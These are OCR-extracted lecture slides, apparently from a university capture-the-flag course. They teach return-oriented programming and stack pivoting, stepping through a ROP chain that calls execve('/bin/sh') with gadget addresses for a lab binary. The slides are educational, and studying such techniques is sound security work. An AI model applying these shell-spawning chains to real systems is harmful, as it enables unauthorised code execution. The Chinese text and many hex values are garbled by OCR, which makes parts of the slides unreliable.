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ROP

e = binary FHRI NX R:FEM - X% 1T shellcode r A2 FZ ROP
o EXRFIRTIRREIE A NX

o BEFNREE shell EZF—IE RWX AIECIEIERE shellcode
e Shellcode #=:=2LL ROP #FH
o BEF mprotect 3¢ mmap K= RWX



ROP gadget

e ROP FiEInHtE - I —IEH code REAHTIER
e ROP gadget BiE=1E code RE

o OJLIfE binary B3k C3 CB C2 CA E%(E byte - FZELE byte - FEAIEEIE
byte - {1 disassembly - EEB LB AN gadget

e ROPgadget tool
e https://github.com/JonathanSalwan/ROPgadget
o IR THEIREK gadget
e $ ROPgadget --binary ./binary



https://github.com/JonathanSalwan/ROPgadget

ROP gadget

0Xx000000000040213a : pop rdi ; pop rbp ; ret

0Xx0000000000401516 : pop rdi ; ret

0x0000000000446baa : pop rdx ; add byte ptr [rax - Ox7f], cl ; ret ©x5a40
0x0000000000423429 : pop rdx ; clc ; jmp gword ptr [rax]

0x00000000004ba341 : pop rdx ; je Ox4ba3ob ; ret Oxacfc

0Xx00000000004bad53 : pop rdx ; leave ; retf

0Xx00000000004bb307 : pop rdx ; out Oxf5, eax ; mov ch, @xab ; ret

0Xx00000000004428e4 : pop rdx ; pop rle ; ret

0Xx0000000000478617 : pop rdx ; pop rbx ; ret

0x0000000000446ba9 : pop rdx ; pop rdx ; add byte ptr [rax - Ox7f], cl ; ret 0x5a40
0Xx0000000000442909 : pop rdx ; pop rsi ; ret

0Xx00000000004428e6 : pop rdx ; ret

0x0000000000414202 : pop rdx ; retf

0x00000000004bae70 : pop rdx ; sub ah, ah ; mov bh, 6 ; movsd dword ptr [rdi], dword ptr [rsi] ; intl ; ret
Ox5803

Ox000000000042ead4 : pop rsi ; adc byte ptr [rsi + Oxf], ah ; jmp Ox42eaaa
0x000000000042eb52 : pop rsi ; adc byte ptr [rsi + Oxf], ah ; jmp ©0x42eb28
Ox000000000042efed : pop rsi ; adc byte ptr [rsi + Oxf], ah ; jmp @x42efba
Ox0000000000421062 : pop rsi ; adc byte ptr [rsi + Oxf], ah ; jmp ©0x42f038
0x000000000042bebe : pop rsi ; add al, © ; add byte ptr [rax - ©x7d], cl ; ret 0xe910
0x00000000004739d3 : pop rsi ; add dword ptr [rax], eax ; add byte ptr [rax + 0x39], cl ; ret oxf48
0x00000000004261ec : pop rsi ; add dword ptr [rax], eax ; ret



Ox600100 /bin/sh\x00

ROP Chain

oooooo

e execve(“/bin/sh”,NULL,NULL)

XXX XX XXX
e register rbp
e rax = 59 ret addr 0x401516
e rdi = address of “/bin/sh” 0x600100
e rsi = NULL ret addr

O MepesL WYL
e 401516 : pop rdi ; ret
e 442909 : pop rdx ; pop rsi ; ret Ceeranan
e 478616 : pop rax ; pop rdx ; pop rbx ; ret

e 4672b5 : syscall ; ret

ret addr 0x4672b5




ROP Chain

e ret

e 401516 :

e 442909

e 478616 :

e 4672b5

pop rdi

pop rdx ;

pop rax ;

syscall

ret rsp  ->
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

),9,9,¢

XXX

XXX

XXX

XXX

XXXXXXXX

rbp

0x401516

0x600100

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
e 478616 :

e 4672b5

(00 [FElL ¢
pop rdx ;

pop rax ;

syscall

XXXXXXXX

rbp
ret 0x401516
pop rsi ; ret rsp -> 0x600100

pop rdx ; pop rbx ; ret

ret

),9,9,¢

XXX

XXX

XXX
0x401516

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
e 478616 :

e 4672b5

(00 [FElL ¢
pop rdx ;

pop rax ;

syscall

FEE
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

),9,9,¢

XXX

XXX
0x401516

rsp

o

XXXXXXXX

rbp

0x401516

0x600100

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
e 478616 :

e 4672b5

pop rdi

0000 [FEbL”

pop rax ;

syscall

ret
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

XXX
0x600100

XXX

XXX

XXXXXXXX

rbp

0x401516

0x600100

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
e 478616 :

e 4672b5

pop rdi

0000 [FEbL”

pop rax ;

syscall

ret
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

XXX
0x600100

XXX

0x442909

XXXXXXXX

rbp
0x401516
0x600100

rsp ->

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
e 478616 :

e 4672b5

pop rdi

0000 [FEbL”

pop rax ;

syscall

ret
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

XXX
0x600100

0x0
0x442909

XXXXXXXX

rbp
0x401516
0x600100

rsp ->

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
o 478616 :

e 4672b5

pop rdi

pop rdx ;

pop rax ;

syscall

). 9,90.90.9,9.9.0,.4

rbp
ret Ox401516
pop rsi ; ret Ox600100

pop rdx ; pop rbx ; ret

ret

XXX
0x600100
0x0
0x0

rsp ->

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
o 478616 :

e 4672b5

pop rdi

pop rdx ;

pop rax ;

syscall

RellE
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

0x600100
0x0
0x0
Ox478616

rsp

->

XXXXXXXX

rbp

0x401516

0x600100

Ox4672b5




ROP Chain

e ret

e 401516 :
o 442909 :
o 478616 :

e 4672b5

pop rdi

pop rdx ;

pop rax ;

syscall

RellE
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

Ox3B
Ox600100
Ox0

Ox478616

rsp

->

XXXXXXXX

rbp

0x401516

0x600100

Ox4672b5




ROP Chain

e ret

e 401516 :

e 442909

o 478616 :

e 4672b5

pop rdi

pop rdx ;

pop rax ;

syscall

RellE
pop rsi ; ret

pop rdx ; pop rbx ; ret

ret

Ox3B
0x600100
0x0

0x0
Ox478616

rsp

=

XXXXXXXX

rbp

0x401516

0x600100

Ox4672b5




ROP Chain

e ret

e 401516
o 442909
e 478616 :
e 4672b5

pop rdi

pop rdx ;
pop rax ;

syscall ;

ret

pop rsi ; ret
pop rdx ; poa 6\(\6'\:\:
ret (52;(,

Ox3B

0x600100

0x0

0x0

rsp

->

XXXXXXXX

rbp

0x401516

0x600100

Ox4672b5




Labl

e https://bamboofox.cs.nctu.edu.tw/admin/courses/9/challenges/191



https://bamboofox.cs.nctu.edu.tw/admin/courses/9/challenges/191

Stack Pivoting

o tOJLIER Stack Migration

o = stack CHEZEALNRM gadget FF - oJLUERIULHE IS stack #HiRIo[iEmZIR
buffer

o stack FZ2=EM rsp RIEFIR - FAUFEMIBEZEZES] rsp

o EHIEM gadget = leave; ret;
o =& gadget EA L—TFHKEE
o leave; ret; 2HRTE call function #AEREFKE E—1E function BY stack frame
e leave == mov rsp, rbp; pop rbp;

e ret == pop rip;



Stack Pivoting

leave;

rsp

rbp

->

=k

XXXXXXXX

XXXXXXXX

Oxdeadbeef

XXXXXXXX

0x401516

0x601010

leave ret

0x600100

Ox4672b5




Stack Pivoting

leave;

rsp,rbp

=%

XXXXXXXX

XXXXXXXX

Oxdeadbeef

XXXXXXXX

0x401516

0x601010

leave ret

0x600100

Ox4672b5




Stack Pivoting

ret;

rsp

->

XXXXXXXX

XXXXXXXX

XXXXXXXX

0x601010

leave ret

rbp->

Oxdeadbeef

0x401516

0x600100

Ox4672b5




Stack Pivoting

leave;

XXXXXXXX

XXXXXXXX

XXXXXXXX

0x601010

leave ret

rsp,rbp->

Oxdeadbeef

0x401516

0x600100

Ox4672b5




Stack Pivoting

ret;

XXXXXXXX

XXXXXXXX

XXXXXXXX

0x601010

leave ret

)

->

Oxdeadbeef

0x401516

0x600100

Ox4672b5




Stack Pivoting

XXXXXXXX

XXXXXXXX

XXXXXXXX

0x601010

leave ret

)

->

Oxdeadbeef

0x401516

0x600100

Ox4672b5




Stack Pivoting

XX XX XXXV | Oxdeadbeef
rsp -> 0x401516

XY
a '\:\'Ax ‘ 0x600100
ne

G\ xs01010
66,(’ | leave ret

Ox4672b5




Lab2

e https://bamboofox.cs.nctu.edu.tw/admin/courses/9/challenges/192



https://bamboofox.cs.nctu.edu.tw/admin/courses/9/challenges/192

Reference

e https://www.felixcloutier.com/x86/ret

e https://blog.rchapman.org/posts/Linux System Call Table for x86 64/



https://www.felixcloutier.com/x86/ret
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

